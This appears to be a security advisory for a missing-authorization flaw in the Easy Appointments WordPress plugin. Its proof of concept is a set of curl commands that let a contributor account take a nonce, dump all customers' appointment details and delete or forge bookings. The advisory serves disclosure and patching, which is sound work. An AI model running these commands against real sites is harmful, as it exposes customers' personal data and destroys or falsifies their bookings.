Easy Appointments < 4.0.1 – Contributor+ Appointment Data Disclosure & Modification via Missing Authorization | CVE 2026-14221

Description

The plugin does not perform capability checks in several of its appointment-management actions, relying only on a nonce that any authenticated user can obtain, allowing users with contributor-level access to read all customers' appointment details and to create, modify, and delete bookings.

Proof of Concept

Prerequisites: a Contributor account; appointments exist (created via the plugin's normal booking form).

1. Log in as the Contributor and capture session cookies:
   curl -s -c cookies.txt -d "log=contributor&pwd=PASSWORD&wp-submit=Log+In&testcookie=1" "https://victim.example/wp-login.php"

2. Obtain a wp_rest nonce (exposed to any edit_posts user as window.wpApiSettings.nonce in the block editor):
   NONCE=$(curl -s -b cookies.txt "https://victim.example/wp-admin/post-new.php" | grep -oE '"nonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]+$')

3. Read all customer appointments (full PII: name, email, phone, price, date):
   curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=ea_appointments&from=2020-01-01&to=2030-12-31&_wpnonce=$NONCE"

4. Permanently delete any appointment (id attacker-chosen):
   curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=ea_appointment&_method=DELETE&id=5&_wpnonce=$NONCE"

5. Create/forge a booking:
   curl -s -b cookies.txt -X POST -H "Content-Type: application/json" "https://victim.example/wp-admin/admin-ajax.php?action=ea_appointment&_wpnonce=$NONCE" --data '{"location":"1","service":"1","worker":"1","date":"2027-05-01","start":"09:00","status":"confirmed","price":"0.00"}'

A Subscriber cannot reach these actions (blocked by the edit_posts registration gate); without a valid nonce the request returns -1 / HTTP 403.